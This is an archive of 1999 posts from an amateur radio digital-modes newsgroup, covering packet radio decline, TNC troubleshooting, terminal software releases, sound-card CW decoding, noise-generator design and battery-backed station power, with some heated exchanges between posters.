Timewave technology of St. Paul MN and Creative Services Software have released a Y2K ready version of the popular 16-bit terminal program PC PakRatt for Windows.

Users of Windows 3.1 can now upgrade their PC PakRatt for Windows software and be ready for the year 2000. PC PakRatt for Windows now includes support for the DS-232.

The upgrade is available from Timewave for $29USD and is available now. Information is available from sales@timewave.com

Windows 95/98/NT users will be Y2K compliant when operating their AEA/Timewave data controllers with Pk TERM '99.

Either program lists for $79.95USD and is available from Timewave or through their dealer network.

Companies and agencies needing a Y2K compliance statement are invited to contact Timewave at jdouglas@timewave.com

A trial copy of Pk TERM '99 can be downloaded form http://www.timewave.com

Timewave is on the web at http://www.timewave.com
Creative Services Software is at http://www.cssincorp.com

1703. HP200LX, Kantronics PC3, and compatible software

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-03-26 00:00:00 UTC
From: jlbowman <jlbowman@netdirect.net>
Message-ID: <6QTK2.164$D4.3250563@news.netdirect.net>
Source record: 18809

Just dusted off a packet project from almost 10 years ago.... have a neat, integrated KPC3 with Daiwa RX/TX amplifier (VHF), Yaesu FT 11R, and room to strap a keyboarded-PDA on the customized project box enclosure to get up and running.

Problem is will have to restore all software on HP200LX (have one in great shape) or a HP620LX (suffered same long period of neglect after buying several Palms, a few months ago).

Looking for suggestions on which to use, what software would be best... where to find it

Would probably prefer to use the HP200LX.... if I can figure out how to get the software over to it....have lots of accessories... seems a shame to waste.. even have a Geiger counter interface!!!

Any thoughts???

1704. RITTY and Soundblaster Live!

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-03-26 00:00:00 UTC
From: n2peu@sover.net
Message-ID: <36fc100e.1515513@news.sover.net>
Source record: 18810

Hi
I recently upgraded the PC to a P2/450 from an DX4/100.
The old PC had a 8 bit board so I couldn't run RITTY but
I kept a copy of the 2.33 evaluation. The new PC has
the SB Live! board. I connected the ICOM 735 speaker
output to the Mic input of the SB. Chroma Pix and
WxSat 2.4 work great but RITTY doesn't show any
signal input. I used the setup function to select the
Mic input. Is the 16 bit driver not compatible?
Thanks for any help!

Identifying IN MODE (as part of the digital stream) is all that is required.

However, the CW ID capability is nice since it can identify the digital station to PEOPLE listening for activity - sometimes necessary where there is little digital traffic to keep the frequency busy. It's not required.

1708. Q: Is activity in your area suffering?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-03-27 00:00:00 UTC
From: "D. Stussy" <kd6lvw@bde-arc.ampr.org>

145.010 is now dead in my area of N.Y., it USED to be fairly busy a few years ago. One local BBS has been threatening to shut down from lack of usage. The local packet cluster is still jumping though. 145.090 is somewhat busy but I've found that packet activity is WAY down today from 2-3 years ago.

It's a shame, seems mosre people just want to shoot the breeze on the repeaters, I stopped using and listening to repeaters 3 years ago because of husband and wife calls to pick up diapers or some other household items or bickering between some hams. Or the occasional idiot fouling the frequency. I like working simplex now on 2m and like 6 meters more as well.

73,
Tom

Packet radio in Oklahoma is not as big as it was 10 years ago.
Probably about 10% of the population, although there are enough
nodes to link Hams together.

I think the first spurt of packet building was to accomodate linking
BBS. In 1989 the Telco BBS was very popular, and so it was on
Packet. I even saw a few BBS with both telco and radio ports back
then.

When people graduated from dumb terminals to SLIP and PPP
connections to the new Internet services, then BBS (radio and telco)
died rather quickly. The dumb terminal was always a techno-lust
thing. Without the graphical interface, the BBS died. There's been
a few Windows packet programs, and they are done pretty well, but
the data feed is much too slow.

Netrom is still king on the nodes. Netrom and graphical speed are
the opposite of each other. There was an attempt by the X-1 to
introduce IP to Ham radio links, but this was too little, too late.

APRS is really dead in Oklahoma. There's about 4 stations on the
air, and all of them are robots. That is, Hams turn them on, and
forget them. It's about as boring as watching a test pattern on the
TV every the morning. I got to the point where I shut off the radio
and just use the internet, as you can talk to APRS users who are
actually attending their station.

I took a tour of the National Weather Service, and they have a voice
radio desk. When asked if they would consider a packet radio
capability, they replied that, they had no use for it. What that means,
is that they only needed voice operators, in that the data
they wanted was easily provided by a roving mobile, where the
driver didn't have to stop and type. Asked about providing this data
in a processed form to a network of data radios, they replied that
they couldn't do that. By that, I assume they meant that they could not
release data and circumvent the contractor who sells this information
to other markets.

I don't have a clue where Ham radio is headed, but the low baud rate
systems used by humans, will only continue to decline, unless they
are integrated into a system.

Steve is right. When Amateur TCPIP came on the scene, the hobby immediately
suffered.

Actually the IP capability of NetRom was "part of the problem", ocurring at
about the same time that the US packet network began it's TCPIP-induced
nosedive.

Not really. Packet radio has been in a steady decline from 1989.
In 1989 the TCP/IP program was NET. NET was a very limited version
of TCP/IP, and when NOS came out, everyone went with that. But
NET and NOS were/are more techno-lust dumb-terminal programs.
The station using one of these programs, has to weed through pages
of obscure documentation, and unmittigated bullshit from the MS-DOS
days. Even the AX.25 Kernel of Linux, is just dumb-terminal techno-lust.

If an operator did wade through all those docs (and Linux docs are
actually worse than NOS) they would have a very powerful system,
using a standard network technology.

Charles has complained for years about TCP/IP. He's never run it,
and I doubt he has techno-lust to read the shitty documentation, and
successfully bring one on the air. What Charles and others complain
about, is that they sit there and actually watch the packets being
transported on their monitor. They sit there, and get mad, because
they have no techno-lust (can't get it up) and become frustrated.

An analogy would be for them to monitor on their screen, the data
that flows across their modem when connected to the internet.
They can't though, because the data is so fast, they just ignore it.
On packet, the data is so slow, they can watch the bytes. They
want to be a participant, but there isn't enough techno-lust for
them to even begin foreplay.

>>I don't have a clue where Ham radio is headed, but the low baud rate

>
>Well, it's too bad we humans are such a drag.

What I meant was, that low baud rate inputs into a system are still used successfully today, but unlike packet, these systems output the data at a different (higher) speed. Thus, only Hams actually use the low baud rate data at the Human level, while others use low baud rate data at the machine level.

Actually I have used NOS [A special version included in the GTEPMS package written by N2GTE a while back], and later on JNOS. When I was using JNOS, I was the IP coordinator for north Texas, handed out the addresses, ect. I set up and operated both programs without benefit of an "elmer". That was back when Jack Snodgrass was running JNOS in the D/FW area. Jack got me interested, but it later turned out that his claims of how much fun JNOS was were simply untrue. Maybe Jack thought it was great because he hadn't ever run anything else. - I once had a buddy send be a letter from Army boot camp, saying IT was great, too. - Later he admitted it was somewhat less than delightful. Later on, Jack shut down his JNOS, but never went into "why", like my pardner in the Army.

At that time I was writing reviews on BBS software, and had set up and operated every BBS program available to Hams. After running JNOS a few

months I shut it down - It was just TOO cruddy, compared to even the worst BBS software available at that time. Only stubborn-ness kept it running that long. It's inferiority to normal BBS software was obvious from the start. Even if it had been easy to set up, it wouldn't have been worth the effort. A grand total of two Hams in my area asked for and obtained IP addresses in a one year period, so I eventually stopped bothering with that, as well. Waste of time, poor performance, boring as hell. No thanks.

>and I doubt he has techno-lust to read the shitty documentation, and
>successfully bring one on the air.

I did back then. You couldn't PAY me to put that much effort into something third-rate like that again. I've learned to expect more out of my software. Busting your butt to end up with boring, poorly performing software is not techno-lust; It's stupidity. The difference between us is that I have much wider experience with the software available to Hams, and learned my lesson about *NOS.

It's trash.

It probably has something to do with Hams using Radio to communicate, instead of the telephone.

That's why they call it "Amateur Radio".

Writelog is a commerical program. You have to buy it. It cost $75.00 and is
available from K5DJ. The URL listed below has all the information. It is
worth the money. It has replaced CT and WF1B contest software here.

Scott, I am surprised that you even found a 75152! That chip has been
obsolete for many years. There was a modification sheet published by AEA
in which a 1488 chip was used in place of the 75152. You would do far
better trying to find a copy of that than continue with the obsolete chip.

Not unless you have a multi-mode tnc. You could tie your sound card output via a resistive attenuator to the rig's mike input and use one of the sound card CW programs.

RD-LAP is proprietary to Motorola. Don't expect to find the
specification, or any non-commercial RD-LAP products.

>through a TNC that I might be able to use for a Morse code practice net
>on a 2 meter repeater?

I have been teaching Morse code via MCW over a repeater for three years and have not heard of such a thing. I am aware that Morse Academy (and possibly other programs) has the ability to toggle a line on the parallel port or serial port. This will not give you the tone you seek but can be used to gate a tone source like an AF signal generator. I don't care for that solution though because of the distortion commonly known as "hard keying". I have created a circuit that shapes the audio tone much like HF radios shape the CW waveform. On key closure the tone builds smoothly over a 10ms period and decays on key open over a 10ms period. All I need now is a simple one chip circuit that will give me a good 20mV sine wave and I can return the audio generator to the test bench.

Other things to consider when conducting such a training net:

Disable the 3 minute time out timer on the repeater and the auto id'er. It's REALLY tough to keep your transmissions under 3 minutes when sending MCW at low word speeds and the auto id'er will confuse the dickens out of the people that are listening. Instead, remember to id for the repeater whenever id'ing for yourself.

Write if you have questions.

I wish you good success my friend.

Hi All,

We've been preoccupied with the onset of digital radio, and exactly what it might mean for information media, interactivity, and the notion of radio itself.

We'd very much like opinions from the industry - take a look at "Radio Ga ga" an article by Robert Sharl:

<http://protova.sharl.co.uk/currentarticles/radio.htm>

I forgot how bored you are with the idea of Hams using Radio, Steve. Sorry about that.

The cure for your boredom, of course, would be to send your ticket back to Washington and direct your efforts toward the CB radio service, where your way of looking at the matter will fit in perfectly.

There's nothing wrong with being an "Amateur Telephone" operator, as long as you don't pretend that what you are doing is "Ham Radio". What makes you a LID in the Amateur Radio service would not be quite so antisocial within CB Radio. - Where you belong.

Do yourself, Amateur Radio, and CB a big favor, and take your attitudes where they would be most appropriate.

10-4, good buddy!

1742. APRS on Baycom

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-03-29 00:00:00 UTC
From: alfred1520@my-dejanews.com
Message-ID: <7donvgqte1@nnrp1.dejanews.com>
Source record: 18846

Hi All,

Greetings.

I wrote a simple DOS program for GPS moving map display (perfect
for HP200LX but terrible user interface)
(http://www.geocities.com/CapeCanaveral/Hangar/9412/)

I have added packet capability via ax25.com (used for NOS) to received
APRS packets using Baycom. The development version (not on the web yet)
will display all APRS stations that it can recognized (i.e. GPS strings
and =.... or !.... format.)

In my brief search I did not find any Baycom compatible APRS program
so I am interested in sharing my result. I'll be happy to distribute
it freely for amateur radio used. However, I am totally new to APRS
(packet wise) least APRS (the program) so I am very interested in
learning everything about APRS message formatting, anything about
WIDE, TRACE, RELAY, etc. and what feature set is most interesting.
I will be glad to read them myself if I am given a pointer to a
specific web page.

Thank you for your help.

73,
Alfred - KE6KGV

I'm planning to buy Kenwood TH-D7A Data Communicator (price US$440 at least) just to benefit with its built-in TNC 1200-9600 bauds adapter. While at TRW-ARC swapmeet last Saturday by LAX, I saw a $75 AOR AR-210 Packet TNC cigarette-pack size rated 300-19200 bauds that can be mount to almost any amateur radio. Since I still have to buy a radio, which is then wiser to buy, the $440 TH-D7A or get this US$75 TNC and separate radio (about US$350).

See the AOR AR-210 at http://radiodan.com/ted_stuff/AR-210.htm... 73!

Depends on what you want. Do bear in mind that the mere fact a
tnc maybe able to operate at a given speed above 1200 baud does not
mean the radio can handle it. The D7A sounds like an interesting
unit, not rusing out to by it myself but it sounds interesting.

My advice is to remmeber the law of conservation of
difficultiy for a saving of trouble in one spot (radio tnc interface)
you are paying in thinkg like power of the radio

I have a FT-757 and a TS-430. The 757 drifts quite badly -- maybe
130 cycles during warmup. The Kenwood only drifts about 10 cycles.
I would strongly suggest a Kenwood 430 or 440 for what you want.

1752. Pacterm '98 and PK-Term '99 release 1.2.1 B on the web, as well as new PcPakRatt 2.1 for Windows 3.x

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-03-31 00:00:00 UTC
From: Rick Ruhl <ricker@cssincorp.com>
Message-ID: <ukWfml9e#GA.256@upnetnews05>
Source record: 18758

Creative Services Software announces the releases of Pacterm '98 1.2.1B,
PK-Term '99 1.2.1B and Pc PakRatt 2.1 for Windows 3.1.

The Pacterm '98 and PkTerm '99 releases are available at
http://www.cssincorp.com. This is a free upgrade for owners of the
products.

The full versions are also available in demo mode on the web site, and can
be activated to full functionality for $79.95 by calling:

For Pacterm '98: CSS 256-381-6100 or sales@cssincorp.com

For Pk-Term '99 Timewave 651-222-4858 or sales@timewave.com

Features and fixes include:

Fixes:
Mailbox fixes for when Host mode is set > 1 (PKTerm only)
VHF baud select on TNC's that support it
VHF and HF window flickering is fixed. (gone forever!)
Select and scroll in the Text window fixed.
VHF macro fix
ASCII mode fix

new features:
RTTY receive now available in demo mode
Addition of HF transmit mode, by character, word or line.

Pc PakRatt 2.1 for Windows 3.1 is available from Timewave in full version or
in upgrade form. Pc PakRatt 2.1 fixes Y2K issues.

Hi Alfred

To handle UARTs with FIFOs and motherboards with strange
counter/timer chips you may wish to use the modded version of
the ax25.com driver you will find on my web site.

Let me know if you find any differences/improvement (or maybe its
worse!!)

For UK users, it also supports CW ident.

1756. PTC II Bug

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-04-01 00:00:00 UTC
From: Louis Dupree <ldupree@coastalnet.com>
Message-ID: <tpJM2.205$vi5.12463@news12.ispnews.com>
Source record: 18762

Has any one figured how to correct the Paccomm unit so will work on PSK31? Some of the units work O K. Mine does not(know of a few more). Also, I can not do CW. Any one have an answer?

Tony,

I've used the PacComm PTC-II with and Icom IC-707. It worked very well, the remote control feature is very nice, and the ig does not drift noticeably. Most of the time I ran it at 50 watts on pactor or pactor2. When conditions were poor, I was able to run the radio at about 80 watts output without overheating. Be sure to get the IC-707, not the commercial IC-77 version. The IC-77 works very well except that it is channelized and does not have remote frequency control capability with the PTC-II.

1759. Noise Generator Question

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-04-01 00:00:00 UTC
From: Artur Leung <aleung@ittc.ukans.edu>
Message-ID: <3703CC36.51EA75DE@ittc.ukans.edu>
Source record: 18765
Cross-posted to: sci.electronics.design,rec.radio.amateur.digital.misc,rec.radio.amateur.misc

Hi,

I am trying to design a noise generator to test a receiver design, and would like to get some suggestions from folks on the cyberspace. Basically the receiver is a digital design, and there is a ADC to convert the IF signal into digital bit stream. The IF is 70MHz and the student who told me about the design said that the input to the ADC is 0dBm and data rate is 200kHz. There really isn't a "channel" there and no LNA and AGC, and I guess that's why the input signal is at 0dBm (pretty high.....).
As a result, in order to measure the bit error rate from Eb/No at 0dB to 20dB, I need a lot of noise power. Since Eb = S * Tb = 0dBm - 10*log10(200kHz) = -53dBm/Hz. As a result, the noise spectral density has to be from -73dBm/Hz to -53dBm/Hz.
The preliminary design is to use a 50ohm termination as the noise source. As 25 degree C, thermal noise is at -174dBm/Hz. As a result, I need a 100dB to 120dB of gain on the amplifier. Although I could do that, I am afraid that the amplifier has too much gain that it will turn into oscillation very easily.
So folks, is there any reference material that you could point me to for similar design, or have you ever done something like that before? Any comment and suggestion is certainly welcome. If possible, please send me a reply via e-mail besides sending a reply to the newsgroup. Thank you very much. 8-)

> Jimmy Navarro

Yes, it depends what you want it to do. If you are interested in portability, it is much easier to hold the TH-D7a in one hand and a palmtop in the other. Add a TNC to the mix and you have more wires, and need another hand. Otherwise, if space and portability is not important to you, a seperate TNC will be more functional ... full duplex, more functions available.

I believe that if you are into APRS, you will want the TH-D7a. One of the neatest things about the TH-D7a is that you can send a very short E-mail message to anyone in the world from almost any populated area in the US. Unfortunately the E-mail will only work in one direction. But APRS messages can be sent and received from other hams all accross the country.

For more info on the TH-D7a, see:

Yes, precisely. Indicating that your 'preliminary design' is daft. You
need a noise generator with a sensible noise temperature. At 70 MHz, an
avalanche doide source may not be too good, but maybe OK for a fairly
narrow-band application. I've used avalanche diodes at 10 MHz but no
higher. Traditionally, tungsten-filament vacuum diodes were used, with
the advantage that the noise output could be calculated from first
principles.

From: Ultimate Networks <feedback@ultimate-networks.com>
Message-ID: <7e23ac$19h$1@nnrp1.dejanews.com>
Source record: 18771

Greetings and best wishes to all,

I am interested in carrying out some packet radio tests at 9600 Baud. I have all the equipment, and have everything running, however, everyone else seems to be operating on 1200 baud...! I live in Belfast Northern Ireland, and I am in a fairly elevated location. Is there anyone out there who is interested in 2m or 70cm comms/testing and has the equipment required to used 9k6 packet. I suppose that really Scotland, Wales/Isle of Man and Eire would be my best chances, of working.

Please contact me on gi7vuf@ultimate-networks.com

Good Luck,

Tony

Trying to amplify the noise from a resistor is difficult when you
consider the noise figure of the amplifier itself. With a noise
figure of 3dB, as much noise comes from the amplifier as from the
resistor. As the noise figure and gain of the amplifier won't be well
controlled (compared to the noise from the resistor, which is a simple
function of temperature) you will need some way of calibrating it.

John, I disagree about that amount of gain being "daft", although
you'd need to be very careful about the way it was constructed. A few
cascaded modamps should be able to do it at 70MHz, and still give
fairly flat noise.
To keep the noise level constant enough for measurements you might
need either frequent recalibrations or you might need to regulate the
temperature and supply voltage, as both these with affect the gain
slightly.
Interstage bandpass filters will be needed to avoid saturating the
modamps. -53dBm/Hz may not sound like a lot, but over a wide enough
bandwidth...

I have successfully used modamps in this way to inject noise into the
IF stages of modems for performing BER vs Eb/No measurements.
[The modamps came from Avantec, who have since been swallowed up by
HP.]

For performing the sames tests at RF (10GHz in this case), I just used
a large attenuator pad between the Tx and the Rx. Gettting >100dB
attenuation isn't too hard with the right equipment (and lots of
semi-rigid cable, and ferrite absorber, and...)

Of course the best way to solve this problem is to buy a module from
Noisecom, who specialise in this sort of thing.
http://www.noisecom.com/
They have both narrow and broadband models, some to several GHz, and
with outputs up to about +10dBm or so.
Most modules need a 28V supply. I think they use an avalanche source.

Regards,
Allan.

I know this is heresy, but why not just use a PN source driving a
simple D/A directly at the levels you want? With a sufficiently
long and well chosen sequence, the noise spectrum should be
acceptably "white" for your purposes.

I don't think it's heresy, maybe just too expensive. To produce white
noise at 70MHz requires a very fast D/A.

The 'preliminary design' was the decision to use a resistor at room
temperature as the noise source. The need for a huge gain was a
consequence of that. The obvious thing to do is to use a 'hot' source of
some kind.

That's becuase 6 V diodes are more or less true zener diodes. What is
needed is an *avalanche* diode, which is why I specified a 12 V part,
and added the info. about using the *difference* between the noise
voltages of two such diodes, which is more accurately white noise than
either noise voltage alone.

ANy one out there have any experience with the BayPac BP-2M ? I am thinking about purchasing one of these to use on cw and rtty ONLY. I operate qrp and am interested in a way to get on rtty and pc cw without a lot of hazzel. I have a great IBM compatable pc and this seems like the quick and cheap way to do it. I was interested in what experience others have had with this unit and have a few questions I would like to ask some one that is using or has used one. Many thanks, please reply by e-mail- Larry, WB5KYK/qrp

I just found APRS software for the Palm Pilot on the TAPR(Tucson Amateur Packet Radio). I will download it this weekend and give it a whirl.

http://www.tapr.org/tapr/html/sigf.html

I am still looking for Packet software for the Palm Pilot. I tried the terminal software but no luck. I tried null and not nulled cable. Any suggestions are welcome.

Thanks all,

Lawrence NH6NJ

1775. CW on a PC

I am interested in receiving CW on a PC. I have found lots of shareware programs that seem to permit this, but most have little (if any) information on building an appropriate interface.

I'm considering buying an MFJ 1214PC interface.
Does anyone have any experience with one of these? Do they work as advertised?

Any advice would be appreciated...

Sorry to say, I don't think there is an answer. PacComm made their own changes to the PTC-II and now they won't (or can't) support their product. I understand they refused to pay the royalties due SCS so SCS won't help them debug their stuff either.

If you have a newer PC then the sound card is the way to go. If you have an older PC then check out the interface in the 1998 ARRL Handbook. FAR circuits has a PC board for it.

1778. Does your KAM+ lock up on occasion??

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-04-02 00:00:00 UTC
From: Patricia Gibbons <wa6ube@ix.netcom.com>
Message-ID: <3705C23D.2691@ix.netcom.com>
Source record: 18784

Mine does..
I've installed ferrite RF chokes
around each of the cables that
go to and from the unit
(recommended by Kantronics)
and our KAM+ in our EOC
still locks up on occasion
while un-attended ..

Anyone else run into this??

When the KAM+ locks up,
most of the LED's are on
and the command set resets
to factory defaults.

This has happened maybe several times
in the last several months..

any ideas ??

Sounds like a good idea, but shouldn't a bit-error rate measurement
include both in-band and out-of-band noise?

Joseph ... I'm aSSuming :-) that your IF (at 70 MHz, if I
recall correctly) is bandlimited such that the dominant
signal (and noise) seen by the demodulator *is* in-band.

Source record: 18785
Cross-posted to: alt.radio.scanner,rec.radio.amateur.digital.misc,rec.radio.amateur.equipment,rec.radio.scanner

Just a few basic question, i didn't feel like reading tons of info in FAQ's or stuff like that.. i just hope that some of you can quickly answer the following questions.

Can a radio frequency scanner intercept digital data transmissions? If yes, what kind of data it is likely to intercept, i mean who interchanges data by radio, apart from cellphones, pagers etc? If there are some sorts of digital data transmissions on what frequencies i'm most likely to pick something?

I know that rfs is not a transmitter, but still, can it be sorta triangulated or located in any way?

That's it, just a few straight to the point questions. Feel free to reply in newsgroup or by email.

Cheers.

Get rid of the wall-cube and power it from the battery.
You do use a battery don't you? :-)

--------------------------cut here---

HOW TO POWER A HAM RADIO STATION
Public Domain (p) Steve Sampson

Go to the local Wal-Mart store and purchase a regular
12 Volt battery (not a deep cycle--you won't ever deep cycle
in the city unless you have a lot of power outages)
in whatever amp-hour you desire. Then get a nice
20 to 30 amp power supply (most auto alternators are
in the 60 to 70 amp range, but you're not going to be
starting a V-8 every day). Get the one with caps on it
so you can add water.

Look for one of those nice battery holders with side lugs.
This is good, as any spills will be contained. Put this on
a piece of plywood or pressboard to further protect your
waxed floor or carpet.

If you are worried about the battery venting (lots of smokers
around) then cut a hole in the lid, and using PVC pipe and
cement, run this out the building through a hole in the wall.
If you use a fan, don't use a fan with the motor in the vent
path. Use a squirrel-cage with the motor external. That
way no sparks can ruin your day.

Hook the battery in parallel to the power supply, + to the
+, and - to the -, and connect your radio and TNC crimped-on
lugs to the battery. Plug the power supply in, watch the
amp meter and if it isn't too discharged, start operating by
turning on your rig and TNC.

Wal-Mart also sells power inverters. For about $60 you
will have a very nice 400 VA (or so) UPS. Plug your computer
into the inverter, and you have "the ultimate emergency
power station."

That's a good idea, Steve, except one thing missing. Put a diode
between the battery and the power supply, or during long periods
of no commercial power, the power supply will drain the battery...
At least mine did, a Kenwood PS-50 with 3 - 12 volt batteries.

1792. Multi-mode decoder software - RadioRaft 3

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-04-03 00:00:00 UTC
From: Francois Guillet <F6FLT@TheOffice.net>
Message-ID: <7e58s8fkl2@platane.wanadoo.fr>
Source record: 18792

Hi All

The new release of RadioRaft permits to decode 12 ARQ modes,
8 FEC, 3 modes by packets and many others.
It's a DOS program that runs with the Hamcomm interface or a
demodulator.
It is usefull, fast and full automatic: detection of the
speed, mode and shift in less than 15 sec.
Among the innovations with regard to version 2:
- 6 new modes: Acars, Pocsag, Pactor-I, Dup-Arq, Gmdss-Dsc
and Uosat-data (Oscar).
- shiftmeter
- FFSK and DFSK demodulation
- many improvements in the quality of the decoding

For all details and downloading:
http://www.TheOffice.net/RadioRaft/

The free version for a review permits to detect all modes
but displays only Baudot, Arq-E, Fec-A, Sitor-A (Amtor-A.
"Digit", the "bit by bit" mode is also available.
It is not limited in time.

Good decoding.

Francois Guillet
F6FLT@TheOffice.net

Joseph,

Check out the TxDACs from Analog Devices ... like the AD9761 and its
cousins ... or similatr products from Harris or TI .... you could
generate the noise with the DAC at a lower frequency and mix it up ...
if your data rate is only 200 kHz or so the bandwidth of your IF
probably isn't all that wide ... you should be able to filter out
mixer spurious and still have a pretty flat noise spectrum over the
band of interest.

Interesting idea, however I am not using
the wall-cube. In fact the KAM+ does not
come with a wall cube, only a power cable
and you provide your own supply.

This KAM+ is in our Emergency Operations
Center in our EOC radio room and is
connected to a Motorola, Commercial power
supply. hmmm

Have you found that dips in supply voltage
cause the KAM+ to lock up ??

More often then not, the wall cube develops a large
ripple voltage, and then: 1) can't handle the current,
2) the average DC voltage drops.

I had a TNC-2 clone that had your symptoms, thus
I offered that as a possible solution.

Put your O'scope on the power and measure the ripple,
and DC voltage with all the equipment on. Make sure the
power supply is all right. It probably is, since you use it
with other radios I'm sure.

It's not normal for the TNC to lock up, so if all of it's
inputs have been analyzed/checked, then the TNC has
developed an internal problem. Kantronics has an
excellent reputation on repairs. They use a nice Jig
to test equipment, and I wouldn't hesitate to have it
checked by them.

My question stems from pure ignorance. Nevertheless, it seems to me that, within practical limits, considering the fact that no filter is perfect, one would want to use a broadband noise source for such a measurement, which afterall, is intended to assess agreement between theory and practice.

To Cecil and BD
Gee, guys, thanks for the "helpful" advice...:-(
Okay, I passed my general a zillion years ago and can probably only copy 15 to 18 WPM but I *am* trying to upgrade my skills. I have a spare 486-66 computer sitting next to the rig that I use for logging and QrZ! look-up. It does have an old (original) SoundBlaster Card in it, so I thought, gee, maybe I could rig up something to use one of those CW shareware programs that came on the QRZ! cd-rom.
The trouble is, the software txt and doc files don't describe what kind of interface you need. Do I directly wire the audio from the headphone jack to the SoundBlaster mic input? They don't say. Other programs use com ports with the same lack of interface info.
I was just asking for advice, that's all.

I wish to review Clover and compare it with other modes
already in use - so I want to borrow for evaluation, or buy if the price is
right -

a Hal P38

(The Hal P38 is a small PC card Clover and multi-mode unit).

Please advise price or terms of loan - preferably in New Zealand or
Australia
to limit shipping costs. Let me know what software comes with the unit.

Try to ignore those jerks. They appear to specialize in wasting other people's time with silly BS.

I'd try hooking up the external audio jack on your rig directly to the mic jack on your soundcard. That's how it works with PC-FlexNet and "agw" packet software which uses the soundcard, so I would consider it worth a try on your CW program as well.

I just use a length of speaker wire with a mini-plug on both ends, being careful to observe polarity.

My experience with this problem was with an old AEA PK-232mbx. I had the PK-232 connected to the same power supply as my 100 watt HF rig. The supply was a 35 amp model which was more than large enough for that radio. When operating AMTOR, the rig keying up would drop the supply voltage, and very rapidly cause the TNC to hang up.

When I switched over to using a wall-cube for the PK-232, the problem was history. Try using a separate power supply for the TNC.

A wall-cube should work just fine, or a battery if you don't mind having to fool with replacing it from time to time.

The old original SoundBlaster is probably not good enough because it
is an 8-bit device. It's difficult if not impossible to do serious
DSP stuff with 8-bit resolution. For DSP one needs an SB-16. The
interface to/from the sound card is usually through a pot.

An older way of decoding CW is digitally through zero-crossing
detection and using a comm port requires an RS232 level shifter.

Joseph ... the noise source can be wider than the IF bandwidth of your
system ... using a 100msps TxDAC, for example to generate noise at,
say 25 MHz, then mixing with a 45 MHz Xtal Osc to create a product
at 70 MHz, you could use a 70 MHZ filter much wider than your IF
bandlimiting filter(s) to eliminate the 45 MHz LO leak, the 25 MHz
noise source leak, and the 20 MHz unwanted mixing product.

This would leave a "clean" (if you can call noise "clean" :-), but
still rather wide band noise spectrum centered at 70 MHz ... this
would be summed with your pure desired signal at a controlled level
to "dial up" whatever C/N ratio you want.

#1 Voltage = Current times Resistance (basic electronic math).

A battery based power source will handle more current draw
than a power supply on its own will (for bursts or short term).
and voltage will not drop, and ripple voltage will not increase.

#2 Wall cubes don't work when the Public Utility is offline due to
an emergency (storm damage, power plant bomb damage, etc).
Any Ham or professional radio site with a wall cube is off the air
when you would need them the most.

#3 Two power supplies are not better than one.

Pick a supply that will charge your battery at a satisfactory rate.
A trickle-charger is fine for most Packet radio stations, as there
is generally excess capacity in the battery for this type of operation.
Two of anything, is 50% more unreliable (able to break).

#4 PK-232 are high current devices. A 1.5 Amp draw would not be
unreasonable. The PK-232 was probably one of the last designs of
the TTL age, before CMOS and surface-mount.

Finally,

#5 Disaster Preparedness and wall cubes are incompatible.

Anyone who uses or recommends a wall cube isn't a "real ham"
and would have to use the telephone in an emergency (probably
cellular or PCS).

What gage of wire were you using to 1) The TNC, 2) the radio?
How long were the cables (long cables have more resistance
than short cables--duh)

While it is overkill (handles up to 20 amps), I use #14 AWG
stranded wire that I buy at the NAPA dealer, for most primary
DC power in the Ham shack (battery to appliance). Get a 50
foot roll of Red and Black wire. This is the same stuff I wired
my 54 Dodge Panel Truck with (#10 AWG to the Alternator
and IGN SW).

For HF, I use #10 AWG and this should handle 40 amps
with very little voltage drop (< .5 ohm). Many cars and trucks
use this gage at 60 amps (primary power to the IGN switch).

I don't have a handbook handy, but I suspect the ARRL has
some standard figures available for AWG versus resistance
and ampere ratings.

The absolute BEST way to improve your CW skills is to listen to your radio -- never mind the computer. Find someone (a REAL person) talking to another REAL person at a speed just a little bit faster than you can copy. Sit back in your chair, relax, and pick up what you can. Pretty soon, you're going to find that you are copying everything they say. It works --- try it!

I can endorse this technique with one stipulation. That is, listen to code that is sent correctly. Listening on the air to someone's sloppy fist is frustrating at least and at worst a poor example to emulate. One really outstanding reason to listen to machine generated code is that it is correctly sent and without interference. Just like most of the CW tests.

PcPakRatt 2.1 is for Windows 3.1 only. While it will run under Windows 95,
it's not a 32 bit program.

CSS aquired the rights to PcPakRatt last month.

You can get PcPakRatt or the 32 bit PkTerm '99 from http://www.timewave.com

When I was a kid, I used to listen to W1AW for code practice.
After a long period of activity I tuned up and noticed that ARRL does not
seem to broadcast on weekends anymore. Didn't they used to be 7 days a week?
What happened? Budget cutbacks?
Tom, N2LDE

Steve, from a ham who has just been reading this thread let me say this;

Your attack on N5PVL was way off base in my opinion. You started it, he
didn't.

Secondly, your "techncal advice" to the original poster was pretty lame stuff
to be giving to a person of her experience.

Regards
Chuck

>Tom, N2LDE

Wire from the headphone jack (or better, from a rear panel fixed audio level jack if your radio has one) to the *line* input of the SB. You'll overload the mic input. That only wants a few millivolts.

In an nutshell, yes. I think that they may have also realized that there is
less call for broadcast code practice these days, given all the good free
computer programs, tapes, etc.

It's merely opinion and dollars.

The deep-cycle batteries cost more, #1. and #2 you never
deep-cycle them. What you would have to do, is charge your
battery up, and then let it discharge through use, down to
11 volts or so. Then charge it back up. That means more
electronics (money) to determine charge.

I know people that drive golf-carts until they barely move!
Now that's a deep-cycle! :-)

If you prefer to work in the windows environment and want to also try
something new which works significantly better than RTTY (except for
contesting) you might also consider PSK31 which is free and only requires
rig and soundcard in a PC.

Sincerely,

Rick, KV9u

1846. Software Packet FREEWARE: PKT5MON 5.23 (english version!)

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-04-05 00:00:00 UTC
From: RadioClub de Teleco <rct@lostrego.uvigo.es>
Message-ID: <3708E3CE.7596BA6C@lostrego.uvigo.es>
Source record: 18702

Hello everybody!

We'd like to inform you that the freeware program PKT5MON has been translated into English language.

For those of you who don't know, PKT5MON is a program that, with a simple
HAMCOMM modem, decodes PACKET frames which are sent between DX CLUSTER stations.
It's very useful for those of you who can't access a local DX CLUSTER but
want to receive DX-spots and WWV reports, the same way if you could access
one.

You have mucho more information and a screenshot on the web page of the program:

